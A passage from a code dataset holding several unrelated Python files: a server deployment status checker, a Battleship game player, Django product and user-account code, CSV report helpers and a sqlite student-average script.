self.server.check_ram_size,\n \"check_free_space\": self.server.check_free_space,\n \"check_hw_architecture\": self.server.check_hw_architecture,\n \"check_os_version\": self.server.check_os_version,\n \"check_ping_8888\": self.server.check_ping_8888,\n }\n for check_name, check_func in checking_dict.iteritems():\n try:\n check_func()\n self.logger.log({check_name: \"yes\"})\n except DeploymentError as e:\n checking = False\n self.logger.log({check_name: \"fail\"})\n logger.info(e.message)\n if not checking:\n self.check_status[\"check_server_consistency\"] = \"Not OK\"\n else:\n self.check_status[\"check_server_consistency\"] = \"OK\"\n\n def check_hostname(self):\n self.logger.init_new_step(\"check_hostname\")\n hostname = self.server.check_hostname()\n if hostname.rstrip() != self.host_name:\n self.logger.log({\"check_hostname\": \"fail\"})\n self.check_status[\"check_hostname\"] = \"Not OK\"\n return\n self.logger.log({\"check_hostname\": \"yes\"})\n self.check_status[\"check_hostname\"] = \"OK\"\n\n def check_ns1_a_record(self):\n self.logger.init_new_step(\"check_ns1_a_record\")\n record = self.ns1.get_a_record(\n self.zone, self.short_name, self.record_type\n )\n if record:\n self.check_status[\"check_ns1_a_record\"] = \"OK\"\n return\n self.check_status[\"check_ns1_a_record\"] = \"Not OK\"\n\n def check_infradb(self):\n self.logger.init_new_step(\"check_infradb\")\n server = self.infradb.get_server(self.host_name)\n if server:\n self.check_status[\"check_infradb\"] = \"OK\"\n return\n self.check_status[\"check_infradb\"] = \"Not OK\"\n\n def check_cds(self):\n self.logger.init_new_step(\"check_cds\")\n cds = CDSAPI(self.server_group, self.host_name, self.logger)\n server = cds.check_server_exist()\n if server:\n self.check_status[\"check_cds\"] = \"OK\"\n return\n self.check_status[\"check_cds\"] = \"Not OK\"\n\n def check_ns1_balancing_rule(self):\n self.logger.init_new_step(\"check_ns1_balancing_rule\")\n record = self.ns1.get_a_record(\n self.balancing_rule_zone, self.dns_balancing_name, self.record_type\n )\n if not record:\n logger.info(' A dns balance record not found')\n self.check_status[\"check_ns1_balancing_rule\"] = \"Not OK\"\n return\n\n answer_exist = False\n for answer in record.data['answers']:\n if answer['answer'] == [self.ip]:\n answer_exist = True\n if answer_exist:\n self.check_status[\"check_ns1_balancing_rule\"] = \"OK\"\n return\n self.check_status[\"check_ns1_balancing_rule\"] = \"Not OK\"\n\n def check_pssh_file(self):\n self.logger.init_new_step(\"check_pssh_file\")\n client = self.connect_to_serv(\n settings.PSSH_SERVER,\n settings.PSSH_SERVER_LOGIN,\n settings.PSSH_SERVER_PASSWORD\n )\n logger.info(\"Check if server already added\")\n (stdin, stdout, stderr) = client.exec_command('grep \"%s\" %s' % (\n self.short_name, settings.PSSH_FILE_PATH\n ))\n founded_lines = []\n lines = stdout.readlines()\n for line in lines:\n founded_lines.append(line)\n if founded_lines:\n self.check_status[\"check_pssh_file\"] = \"OK\"\n return\n self.check_status[\"check_pssh_file\"] = \"Not OK\"\n\n def check_nagios(self):\n self.logger.init_new_step(\"check_nagios\")\n logger.info(\"Check if server added to nagios\")\n try:\n host = self.nagios.get_host()\n except Exception:\n logger.info(\"Host not founded in Nagios\")\n self.check_status[\"check_nagios\"] = \"Not OK\"\n return\n if not host:\n logger.info(\"Host not founded in Nagios\")\n self.check_status[\"check_nagios\"] = \"Not OK\"\n return\n logger.info(\"Checking nagios services\")\n try:\n self.nagios.check_services_status()\n except DeploymentError as e:\n logger.info(e.message)\n self.check_status[\"check_nagios\"] = \"Not OK\"\n return\n self.check_status[\"check_nagios\"] = \"OK\"\n\n def check_puppet(self):\n self.logger.init_new_step(\"check_puppet\")\n try:\n cds = CDSAPI(self.server_group, self.host_name, self.logger)\n cds.check_installed_packages(self.server)\n except DeploymentError:\n self.check_status[\"check_puppet\"] = \"Not OK\"\n return\n self.check_status[\"check_puppet\"] = \"OK\"\n\n def check_fw_rules(self):\n self.logger.init_new_step(\"check_fw_rules\")\n client = self.connect_to_serv(\n settings.INSTALL_SERVER_HOST,\n settings.INSTALL_SERVER_LOGIN,\n settings.INSTALL_SERVER_PASSWORD\n )\n logger.info('sudo ufw status|grep %s' % self.ip)\n stdin_fw, stdout_fw, stderr_fw = client.exec_command(\n 'sudo ufw status|grep %s' % self.ip\n )\n lines = stdout_fw.readlines()\n ip_founded = False\n for line in lines:\n m = re.search('ALLOW\\s*(.+?)$', line)\n if m and m.group(1) == self.ip:\n ip_founded = True\n logger.info(line)\n if not ip_founded:\n logger.info(\"IP not founded in Fire wall rules\")\n self.check_status[\"check_fw_rules\"] = \"Not OK\"\n return\n\n self.check_status[\"check_fw_rules\"] = \"OK\"\n\n def check_cacti(self):\n self.logger.init_new_step('check_cacti')\n host_id = self.cacti.find_device(self.short_name)\n if not host_id:\n logger.info(\"Host not found in cacti\")\n self.check_status[\"check_cacti\"] = \"Not OK\"\n return\n logger.info(\"Device was founded with id %s\" % host_id)\n\n for graph_name in settings.CACTI_CG_GRAPHS_LIST:\n graph_id = self.cacti.find_graph(host_id, graph_name)\n if not graph_id:\n logger.info(\"Graph %s was not found\" % graph_name)\n self.check_status[\"check_cacti\"] = \"Not OK\"\n return\n\n self.check_status[\"check_cacti\"] = \"OK\"\n\n\ndef main():\n\n parser = argparse.ArgumentParser(\n description=\"Automatic deployment of server.\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n parser.add_argument(\n \"-n\", \"--host_name\", help=\"Host name of server\",\n required=True\n )\n parser.add_argument(\n \"-z\", \"--zone_name\", help=\"Name of zone on NS1.\",\n default=settings.NS1_DNS_ZONE_DEFAULT\n )\n parser.add_argument(\n \"-i\", \"--IP\", help=\"IP of server.\", required=True\n )\n parser.add_argument(\n \"-r\", \"--record_type\", help=\"Type of record at NS1.\",\n default=\"A\"\n )\n parser.add_argument(\n \"-l\", \"--login\", help=\"Login of the server.\",\n default=\"robot\"\n )\n parser.add_argument(\n \"-p\", \"--password\", help=\"Password of the server.\",\n default=''\n )\n parser.add_argument(\n \"-c\", \"--cert\", help=\"Certificate of the server.\"\n )\n parser.add_argument(\n \"--hosting\", help=\"Name of server hosting provider.\",\n default=\"HE\"\n )\n parser.add_argument(\n \"--server_group\", help=\"CDS group.\",\n default=settings.SERVER_GROUP\n )\n parser.add_argument(\n \"--environment\", help=\"Environment of server.\",\n default='prod'\n )\n parser.add_argument(\n \"--dns_balancing_name\", help=\"DNS global load balancing name.\"\n )\n\n parser.add_argument(\n \"--first_step\", help=\"First step which sequence must start.\",\n default=\"check_server_consistency\",\n choices=[\n \"check_server_consistency\",\n \"check_hostname\",\n \"check_ns1_a_record\",\n \"check_infradb\",\n \"check_cds\",\n \"check_nagios\",\n \"check_puppet\",\n \"check_ns1_balancing_rule\",\n \"check_pssh_file\",\n \"check_fw_rules\",\n \"check_cacti\"\n ]\n )\n parser.add_argument(\n \"--number_of_steps_to_execute\",\n help=\"Number of steps need to be execute.\",\n type=int,\n )\n\n parser.add_argument(\n \"--disable_infradb_ssl\", help=\"Disable ssl check for infradb.\",\n type=bool\n )\n args = parser.parse_args()\n\n try:\n sequence = CheckingSequence(args)\n sequence.run_sequence()\n logger.info(sequence.check_status)\n\n except DeploymentError as e:\n logger.critical(e.message)\n logger.error(e, exc_info=True)\n sys.exit(-1)\n except Exception as e:\n logger.error(e, exc_info=True)\n sys.exit(-1)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"code_dir/check_server_status.py","file_name":"check_server_status.py","file_ext":"py","file_size_in_byte":19330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"651082369","text":"def hash_tuple(t):\n \"\"\"Return the hash of a given tuple.\n\n >>> hash_tuple((1, 2)) == 3713081631934410656\n True\n \"\"\"\n return hash(t)\n\nif __name__ == \"__main__\":\n n = int(input())\n t = tuple([int(token) for token in input().split(\" \")])\n print(hash_tuple(t))\n","sub_path":"python/data_types/tuples.py","file_name":"tuples.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"112726477","text":"\n\nfrom xai.brain.wordbase.verbs._encrypt import _ENCRYPT\n\n#calss header\nclass _ENCRYPTS(_ENCRYPT, ):\n\tdef __init__(self,): \n\t\t_ENCRYPT.__init__(self)\n\t\tself.name = \"ENCRYPTS\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"encrypt\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_encrypts.py","file_name":"_encrypts.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"192804151","text":"class Player:\n \"\"\"\n Syndicate 10 Submission\n Contains three methods\n 1. setup_ships: takes no parameters and returns a list of lists showing the start position\n of showing the start positions of your ships\n Block of row i and column j, ship label 1-5 & 0 means no ship\n\n 2. take_turn: returns\n -- a list of (row, column) tuples describing your shots\n -- Note: should be equal to the number of ships present\n -- or a tuple that has a ship number as the first element and the direction\n -- of its moving value\n -- 0: up, 1: right, 2: down, 3: left\n\n 3. get_name: returns a string that is the name of the Player\n\n \"\"\"\n import random\n from collections import defaultdict\n\n def __init__(self):\n '''\n Following variables are initiated when a class is instantiated\n self.player_battleground: representation of the player's map\n self.ships_dd : default dictionary that counts the unique numbers in the map\n self.status : a list of tuples that contains each ship number with its current status\n eg: [(5, 0.20)] is ship 5 with 20% remainin\n self.enemyport : representation of the enemy's map. will record player's attact point\n self.enemy_probmap : probability of enemy ship presence in each grid point \n self.counter : a predefined counter that keeps track of the turns\n self.hits_by_player : a running total number of shots fired by the player\n self.positions : store indexes for ships\n '''\n self.player_battleground = [[0 for i in range(10)] for j in range(10)]\n self.ships_dd = Player.defaultdict(int)\n self.status = []\n self.enemyport = [[0 for i in range(10)] for j in range(10)]\n self.enemy_probmap = [[15 for i in range(10)] for j in range(10)]\n self.counter = 0\n self.hits_by_player = 0\n self.positions = None\n\n def setup_ships(self):\n '''\n Mandatory function that optimizes the locations on the Players ships\n placed on the 10x10 grid\n It initializes a position for the ships in different areas of the map\n Ships are weighed linearly by their size\n Ships 1 and 2 are placed together, Ships 3, 4 and 5 are placed in the\n other regions\n Once the threshold criteria is met, it assigns the ships in those regions\n :return: a 10x10 grid with the location of our ships\n '''\n self.init_position()\n while self.is_good_position() == False:\n self.init_position()\n self.is_good_position()\n\n # update postion index to myport\n points = self.positions\n points_len = len(points)\n i = 0\n while i < points_len:\n for item in points[i]:\n row = item[0]\n col = item[1]\n self.player_battleground[row][col] = i + 1\n i += 1\n return self.player_battleground\n\n def take_turn(self, history):\n '''\n The take turn function dictates the overall strategy of the player\n It keeps count of the number of turns the player has taken by updating a counter\n every time the function is called\n 1. First it updates the players grid with the list on incoming shots\n 2. Based on that it calculates the status of the ships hit and the number of ships that\n are currently present\n 3. It then updates the opponents grid by marking the places that the player has shot\n 4. Based on this history, the number of shots, the placement of them and the number of hits\n it dynamically creates a probability map to determine the best positions to shoot next\n 5. The Player then shoots according to the number of ships it has present\n 6. The Player does not move as it tries to maximize its chances of winning by trying to shoot\n as many number of times it can\n\n :param history: records the game\n list that contains one entry per turn\n dict with 3 keys\n - 'shots' : list of shots made in the turn\n - 'hits' : an integer number of hits that your shots made\n - 'incoming' : opponents list of shots, [] if moved\n\n :return: a list of tuple/s named \"shots_list\" describing the shots or changed location\n depending on the strategy\n '''\n\n last_shot = []\n # updating the enemy port\n previous_shots = []\n if self.counter > 0:\n last_shot = history[-1]['incoming']\n previous_shots = history[-1]['shots']\n\n self.player_battleground = self.update_opponent_shots(self.player_battleground, last_shot)\n\n # counting the number of ships left\n self.ships_dd = Player.defaultdict(int) # reset count every time\n\n # returns the dict with the number of ships and hits\n for row in self.player_battleground:\n for point in row:\n self.ships_dd[point] += point\n\n self.status = self.ship_status(self.ships_dd)\n\n # Count the number of ships remaining\n number_of_ships = len(self.status)\n\n # Updating the opponent map and probability matrix\n self.update_enemy_map(previous_shots)\n self.update_enemy_probmap(history)\n\n # Choose to shoot based on the current status in the game\n shots_list = self.shot(number_of_ships)\n\n # update the number of turns\n self.counter += 1\n\n return shots_list\n\n def get_name(self):\n '''\n :return: string - name of the Player\n '''\n return \"Syndicate_10\"\n\n # function to update the player battleground with the incoming shots\n def update_opponent_shots(self, grid, incoming_shots):\n '''\n Keeps track of the shots that the opponent has made on the players grid\n If the opponent has shot, then it updates the corresponding locations in\n the grid by 9\n :param grid: the players grid with the ships placed and the current status\n :param incoming_shots: the shots that the opponent has made, gathered from history\n :return: the updated player grid marked with '9' for the shots placed\n '''\n if incoming_shots:\n for x, y in incoming_shots:\n grid[x][y] = 9\n return grid\n\n # function that counts the number of ships and her ports hit\n def ship_status(self, ships_dd):\n '''\n :param ships_dd: a default dictionary that counts the frequencies of the number on the map\n :return: a list of tuples with the ship numbers and its status\n '''\n status = []\n for ship in ships_dd.keys():\n # as long as the default dictionary has a key, the ship is breathing\n if ship in [1, 2, 3, 4, 5]:\n status.append((ship, ships_dd[ship] / (ship ** 2)))\n return status\n\n def update_enemy_probmap(self, history):\n '''\n \"update_enemy_probmap Function\"\n - calculate probability of enemy ship presence in each grid point\n - The input for the functions is \"history\"\n '''\n # reset enemy_probmap with -1 for all grid\n self.enemy_probmap = [[-1 for i in range(10)] for j in range(10)]\n\n total_hit = 0\n total_shot = 0\n for turn in history:\n # record the success rate of each shot in enemy_probmap\n if len(turn['shots']) != 0:\n prob = turn['hits'] / len(turn['shots']) * 100\n for i in turn['shots']:\n self.enemy_probmap[i[0]][i[1]] = prob\n total_hit += turn['hits']\n total_shot += len(turn['shots'])\n\n # update the probablity of spots that have not been shot.\n prob = (15 - total_hit) / (100 - total_shot) * 100 + 0.5\n for row in range(10):\n for column in range(10):\n if self.enemy_probmap[row][column] == -1:\n self.enemy_probmap[row][column] = prob\n\n # multiply probability of each grid by the weight which depends on gird location\n # the grids in the center of the map have higher weights\n for row in range(10):\n for column in range(10):\n if (row, column) in [(0, 0), (9, 9), (9, 0), (0, 9)]:\n weight = 15 / 15\n elif (row, column) in [(1, 0), (0, 1), (8, 0), (1, 9), (0, 8), (9, 1), (8, 9), (9, 8)]:\n weight = 16.5 / 15\n elif (row, column) in [(1, 1), (1, 8), (8, 1), (8, 8)]:\n weight = 18 / 15\n elif (row in [0, 9] and 2 <= column <= 7) or (column in [0, 9] and 2 <= row <= 7):\n weight = 18 / 15\n elif (row in [1, 8] and 2 <= column <= 7) or (column in [1, 8] and 2 <= row <= 7):\n weight = 19.5 / 15\n else:\n weight = 21 / 15\n self.enemy_probmap[row][column] = weight * self.enemy_probmap[row][column]\n\n def update_enemy_map(self, previous_shots):\n '''\n \"update_enemy_map Function\"\n - Mark '9' on the enemy map, recording the points we made shot\n - The input for the functions is \"coordinate of previous_shots \"\n '''\n # check if the player shot or moved in the previous shot\n if type(previous_shots) == type([]):\n if previous_shots:\n for x, y in previous_shots:\n self.enemyport[x][y] = 9\n # add to the total number of hits\n self.hits_by_player += 1\n\n def shot(self, myship_number):\n '''\n \"shot Function\"\n - Generate a list of shots (coordinates of attack points)\n - The input for the functions is \"number of ship we have\"\n Within the target area, store the \"coordinates of spots that have not been shot\"\n into the list called \"targets\" and shuffle them to add randomness'''\n targets = []\n for row in range(10):\n for column in range(10):\n if self.enemyport[row][column] == 0:\n targets.append((row, column))\n Player.random.shuffle(targets)\n\n '''\n Evaluate likelihood score for points in the \"target\" list\n In this code, likelihood score (LHS) defined as\n LHS = 2*P(point) + 0.9*P(one_neighbour) + 0.8*P(2 step_neighbours)\n where P = expected probability of a shp\n Where neighbours are not available, P(one_neighbour of other side) will be used\n Note that LHS is not probability but probability utility.\n Store LHS and target point i and sort at the end'''\n valid_grid = range(10)\n scores = []\n for i in range(len(targets)): # i represent target number\n # Calculate LHS of target point i\n score = 0\n for step in range(-2, 3):\n # row weighted probability summation\n if targets[i][0] + step in valid_grid:\n row_prob = self.enemy_probmap[targets[i][0] + step][targets[i][1]]\n else:\n row_prob = self.enemy_probmap[targets[i][0] - step][targets[i][1]]\n score += (1 - 0.1 * abs(step)) * row_prob\n # column weighted probability summation\n if targets[i][1] + step in valid_grid:\n column_prob = self.enemy_probmap[targets[i][0]][targets[i][1] + step]\n else:\n column_prob = self.enemy_probmap[targets[i][0]][targets[i][1] - step]\n score += (1 - 0.1 * abs(step)) * column_prob\n scores.append((score, i))\n scores.sort(reverse=True)\n\n # Return the top LSH score as list of tuple\n # The number of returning points is the same as the number of our ship\n shot_list = []\n for j in range(myship_number):\n if j <= len(targets) - 1:\n shot_row = targets[scores[j][1]][0]\n shot_col = targets[scores[j][1]][1]\n shot_list.append((shot_row, shot_col))\n return shot_list\n\n def is_good_position(self):\n \"\"\"\n : function check if initial positions are good\n is good placing strategy if ships dont touch\n\n :return: boolean, true if is a good ship placing strategy,\n false other wise.\n \"\"\"\n points = self.positions\n signal = True\n points_len = len(points)\n for ship in points:\n position = points.index(ship)\n length = len(ship)\n # get two end points for the ship\n end = None\n if length == 1:\n end = ship\n else:\n end = [ship[0], ship[length - 1]]\n\n # check if end points touch any other ship points:\n i = position + 1\n while i < points_len:\n another_ship = points[i]\n for stuff in another_ship:\n for item in end:\n if (stuff[0] == item[0]) and (abs(stuff[1] - item[1])) == 2:\n return False\n elif (stuff[1] == item[1]) and (abs(stuff[0] - item[0])) == 2:\n return False\n else:\n signal = True\n\n i += 1\n return signal\n\n def init_position(self): # initiate potential positions to place ships\n \"\"\"\n function to generate positions to place ships\n strategy is divide the playground to four 5*5 areas\n so every area will contain at most 2 ships\n It then updates the positions\n \"\"\"\n\n # the direction ships point : 0 - down; 1- right\n row_range = {1: (0, 5), 2: (0, 5), 3: (5, 10), 4: (5, 10)} # store row index range for different areas\n col_range = {1: (0, 5), 2: (5, 10), 3: (0, 5), 4: (5, 10)} # store col index range for different areas\n\n # always place 1 and 2 together so the distribution is even\n area_order = Player.random.sample(range(1, 5), 4) # areas are labeled 1,2,3,4, this one generate an order\n\n # For ship 1 and 2 in area i\n area = area_order[0]\n row_edge = row_range[area]\n col_edge = col_range[area]\n row_1 = Player.random.sample(range(row_edge[0], row_edge[1]), 1)[0]\n col_1 = Player.random.sample(range(col_edge[0], col_edge[1]), 1)[0]\n points = [[(row_1, col_1)]] # get the position for ship 1\n\n # get the position for ship 2\n while True:\n # decide the ship placment direction.\n direction = Player.random.randint(0, 1) \n if direction == 0: # down\n row_2 = Player.random.sample(range(row_edge[0], row_edge[1] - 1), 1)[0]\n col_2 = Player.random.sample(range(col_edge[0], col_edge[1]), 1)[0]\n points_2 = [(row_2, col_2), (row_2 + 1, col_2)]\n\n else: # right\n row_2 = Player.random.sample(range(row_edge[0], row_edge[1]), 1)[0]\n col_2 = Player.random.sample(range(col_edge[0], col_edge[1] - 1), 1)[0]\n points_2 = [(row_2, col_2), (row_2, col_2 + 1)]\n \n if points[0][0] not in points_2:\n points.append(points_2)\n break\n\n # For ship 3,4,5 in different areas, index 'i' is ship number:\n i = 3\n while i <= 5:\n area = area_order[i - 2]\n row_edge = row_range[area]\n col_edge = col_range[area]\n # decide the ship placment direction.\n direction = Player.random.randint(0, 1)\n if direction == 0: # down\n row_i = Player.random.sample(range(row_edge[0], row_edge[1] - i + 1), 1)[0]\n col_i = Player.random.sample(range(col_edge[0], col_edge[1]), 1)[0]\n points_i = [(row_i, col_i)]\n j = 1\n while j < i:\n points_i.append((row_i + j, col_i))\n j += 1\n\n else: # right\n row_i = Player.random.sample(range(row_edge[0], row_edge[1]), 1)[0]\n col_i = Player.random.sample(range(col_edge[0], col_edge[1] - i + 1), 1)[0]\n points_i = [(row_i, col_i)]\n j = 1\n while j < i:\n points_i.append((row_i, col_i + j))\n j += 1\n points.append(points_i)\n i += 1\n self.positions = points\n return None","sub_path":"Battleships/Submission/Final_Merlin.py","file_name":"Final_Merlin.py","file_ext":"py","file_size_in_byte":16876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"123658904","text":"from django.contrib import messages\nfrom django.shortcuts import render\nfrom produit.models import ProduitModel\nfrom produit.forms import prodforms\n\n# Create your views here.\n\ndef home(request):\n showall = ProduitModel.objects.all()\n return render(request, 'produit/index.html',{\"data\":showall})\n\ndef insert_produit(request):\n if request.method==\"POST\":\n if request.POST.get('nom') and request.POST.get('marque') and request.POST.get('couleur') and request.POST.get('categorie') and request.POST.get('variete') and request.POST.get('quantite') and request.POST.get('prix') and request.POST.get('descr'):\n saverecord=ProduitModel()\n saverecord.nom=request.POST.get('nom')\n saverecord.couleur = request.POST.get('couleur')\n saverecord.categorie = request.POST.get('categorie')\n saverecord.variete = request.POST.get('variete')\n saverecord.marque = request.POST.get('marque')\n saverecord.quantite = request.POST.get('quantite')\n saverecord.prix = request.POST.get('prix')\n saverecord.descr = request.POST.get('descr')\n saverecord.save()\n messages.success(request, 'Le Produit '+saverecord.nom+' a été enregistré avec succès !')\n return render(request, 'produit/formulaire.html')\n else:\n return render(request, 'produit/formulaire.html')\n\n\n\n\n\ndef editprod(request,id):\n editprodobj=ProduitModel.objects.get(id=id)\n return render(request,'produit/edit_produit.html', {\"ProduitModel\":editprodobj})\n\ndef details_produit(request,id):\n obj=ProduitModel.objects.get(id=id)\n return render(request,'produit/details.html', {\"ProduitModel\":obj})\n\ndef updateprod(request,id):\n modprod=ProduitModel.objects.get(id=id)\n form=prodforms(request.POST, instance=modprod)\n if form.is_valid():\n form.save()\n messages.success(request, 'Le Produit modifié avec succès !')\n\n return render(request,'produit/edit_produit.html', {\"ProduitModel\":modprod})\n\ndef delProd(request,id):\n deleteprod=ProduitModel.objects.get(id=id)\n deleteprod.delete()\n showdata=ProduitModel.objects.all()\n return render(request, 'produit/main.html', {\"data\":showdata})\n\n\n","sub_path":"produit/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"267116187","text":"import csv\n\n\ndef count_games(filename):\n with open(filename) as inputfile:\n glist = csv.reader(inputfile, delimiter=\"\\t\")\n number_of_games = len(list(glist))\n return number_of_games\n\n\ndef decide(filename, year):\n with open(filename) as inputfile:\n glist = csv.reader(inputfile, delimiter=\"\\t\")\n combined = [item for slist in glist for item in slist]\n return str(year) in combined\n\n\ndef get_latest(filename):\n with open(filename) as inputfile:\n glist = csv.reader(inputfile, delimiter=\"\\t\")\n years = []\n years.append([row[2] for row in glist])\n newest_year = max(years[0])\n with open(filename) as glist:\n for num, line in enumerate(glist, 0):\n if (newest_year) in line:\n return line.split('\\t')[0]\n\n\ndef count_by_genre(filename, genre):\n with open(filename) as inputfile:\n glist = csv.reader(inputfile, delimiter=\"\\t\")\n combined = [item for slist in glist for item in slist]\n return combined.count(str(genre))\n\n\ndef get_line_number_by_title(filename, title):\n with open(filename) as glist:\n for num, line in enumerate(glist, 1):\n if str(title) in line:\n return num\n else:\n return ValueError\n","sub_path":"reports.py","file_name":"reports.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"542496524","text":"from django.contrib.auth.models import BaseUserManager, AbstractBaseUser, User, \\\n Group, PermissionsMixin\nfrom django.db import models\n\nfrom apps.map.models import Region, District\n\n\nclass Organization(models.Model):\n name = models.CharField(max_length=200, verbose_name='Наименование')\n district = models.ForeignKey(District,\n null=True,\n blank=True,\n verbose_name='Округ')\n region = models.ForeignKey(Region,\n null=True,\n blank=True,\n verbose_name='Район')\n\n class Meta:\n verbose_name = 'Организация'\n verbose_name_plural = 'Организации'\n\n def __str__(self):\n return self.name\n\n\nclass RatingsUserManager(BaseUserManager):\n def create_blank_user(self, email):\n if not email:\n raise ValueError('У пользователя должен быть email адрес')\n user = self.model(\n email=self.normalize_email(email),\n )\n return user\n\n def create_user(self, email):\n user = self.create_blank_user(email)\n user.set_password(None)\n user.save(using=self._db, force_insert=True)\n return user\n\n def create_superuser(self, email, password):\n user = self.create_blank_user(email)\n user.set_password(password)\n user.is_admin = True\n user.save(using=self._db)\n return user\n\n\nclass RatingsUser(AbstractBaseUser, PermissionsMixin):\n email = models.EmailField(\n verbose_name='email',\n max_length=255,\n unique=True,\n )\n is_active = models.BooleanField(default=True,\n verbose_name='Активный')\n is_admin = models.BooleanField(default=False,\n verbose_name='Админ')\n\n objects = RatingsUserManager()\n\n USERNAME_FIELD = 'email'\n\n class Meta:\n verbose_name = 'Пользователь'\n verbose_name_plural = 'Пользователи'\n\n def get_full_name(self):\n return self.email\n\n def get_short_name(self):\n return self.email\n\n def has_perm(self, perm, obj=None):\n return True\n\n def has_module_perms(self, app_label):\n return True\n\n @property\n def is_staff(self):\n return self.is_admin\n\n\nclass Employee(models.Model):\n user = models.OneToOneField(RatingsUser, on_delete=models.CASCADE)\n last_name = models.CharField(max_length=100,\n verbose_name='Фамилия')\n first_name = models.CharField(max_length=100,\n verbose_name='Имя')\n patronymic = models.CharField(max_length=100,\n null=True,\n blank=True,\n verbose_name='Отчество')\n organization = models.ForeignKey(Organization,\n null=True)\n\n class Meta:\n abstract = True\n\n def __str__(self):\n return '{} | {}'.format(self.short_name, self.user.email)\n\n @property\n def full_name(self):\n return '{} {} {}'.format(\n self.last_name,\n self.first_name,\n self.patronymic if self.patronymic else ''\n )\n\n @property\n def short_name(self):\n return '{} {}{}'.format(\n self.last_name,\n self.first_name[0] + '.',\n self.patronymic[0] + '.' if self.patronymic else ''\n )\n\n\nclass RegionEmployee(Employee):\n\n class Meta:\n verbose_name = 'Сотрудник района'\n verbose_name_plural = 'Сотрудники районов'\n ordering = ('last_name', )\n\n\nclass PrefectureEmployee(Employee):\n can_approve_rating = models.BooleanField(default=False,\n verbose_name=\"Может подтвержать \"\n \"рейтинг\")\n\n class Meta:\n verbose_name = 'Сотрудник префектуры'\n verbose_name_plural = 'Сотрудники префектуры'\n ordering = ('last_name', )\n","sub_path":"apps/employees/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62536957","text":"#Real Fact 720 -- Angela Tom & Dennis Chen\n#SoftDev1 pd 6\n#K17: Average\n#10/6/18\n\nimport sqlite3\nimport csv\n\n\n#========Initializing Files========\n\nDB_FILE=\"database.db\"\ndb = sqlite3.connect(DB_FILE)\ndb.text_factory = str\nc = db.cursor() #allows sqlite to be used on database.db\n\n\n#==========Function for making a table from csv==========\n\ndef makeTable(filename):\n with open(filename, 'r') as csvfile: #opens database\n reader = csv.DictReader(csvfile) #creates sequence of dictionaries\n num = 0 #used to determine if row is first row\n col1 = \"\" #initializes column strings\n col2 = \"\"\n col3 = \"\"\n for row in reader: #goes through each row, adds to table\n if num == 0: #if row is first row, names columns based on csv file, uses list of keys to access header names\n col1 = list(row.keys())[0] \n col2 = list(row.keys())[1]\n col3 = list(row.keys())[2]\n c.execute(\"CREATE TABLE \" + filename[0:-4] + \"(\" +col1+ \" TEXT, \" + col2+ \" INTEGER, \" +col3+\" INTEGER)\") #creates table\n num = num + 1 #increments to indicate first row has been passed\n params = (row[col1],row[col2],row[col3]) #creates params for values using row dictionary and column names \n c.execute(\"INSERT INTO \" + filename[0:-4] + \" VALUES(?, ?, ?)\", params) #inserts values in each row into the table\ndef average():\n #creates a list of the names and grades of the students\n command = 'SELECT name,mark FROM peeps,courses WHERE courses.id = peeps.id'\n cur = c.execute(command)\n tab = cur.fetchall()\n #print(tab)\n #creates a list of names\n command = 'SELECT name from peeps'\n cur = c.execute(command)\n tabl = cur.fetchall()\n #creates a list of ids\n command = 'Select id from peeps'\n cur = c.execute(command)\n\n #creates a dictionary where the keys are the student names and value is a empty list\n names = dict()\n for each in tabl:\n names[each[0]] = []\n #print(names)\n #puts each student's grades into the empty list in the dictionary\n for name in tab:\n names[name[0]].append(name[1])\n #print(names)\n #replaces the list of grades with a list of their average and id\n for name in names:\n id = cur.fetchone()[0]\n names[name] = [float(\"{0:.2f}\".format(sum(names[name]) / (float(len(names[name]))))),id]\n print(names)\n return names\n \ndef createIDTable():\n avgD = average() # dictionary of the averages\n c.execute(\"CREATE TABLE peeps_avg (id INTEGER, average FLOAT)\") # create the peeps_avg table\n for values in avgD.values(): \n id = values[1] \n #print (id);\n avg = values[0]\n #print (avg)\n params = (id, avg)\n c.execute(\"INSERT INTO peeps_avg VALUES (?, ?)\", params) # fill up the table with id and values\n\ndef addRows(code, mark, id):\n params = (code, mark, id)\n c.execute(\"INSERT INTO courses VALUES (?,?,?)\", params)\n#==================Calling functions for file names used, saving changes=====================\n\n\nmakeTable(\"courses.csv\")\nmakeTable(\"peeps.csv\")\nprint(average())\ncreateIDTable()\naddRows(\"S\", 10, 0)\ndb.commit() #save changes\ndb.close() #close database\n\n\n\n\n","sub_path":"17_db-nmcrnch/stu_mean.py","file_name":"stu_mean.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"342002623","text":"from __future__ import unicode_literals\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth import login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom . import forms\nfrom .models import idea\n\ndef signup_view(request):\n if request.method == 'POST':\n form = UserCreationForm(request.POST)\n if form.is_valid():\n user = form.save()\n login(request, user)\n return redirect('it20:it20about')\n else:\n form = UserCreationForm()\n return render(request, 'users/signup.html', {'form':form})\n\ndef login_view(request):\n if request.method == 'POST':\n form = AuthenticationForm(data = request.POST)\n if form.is_valid():\n user = form.get_user()\n login(request, user)\n if 'next' in request.POST:\n return redirect(request.POST.get('next'))\n else:\n return redirect('it20:it20about')\n else:\n form = 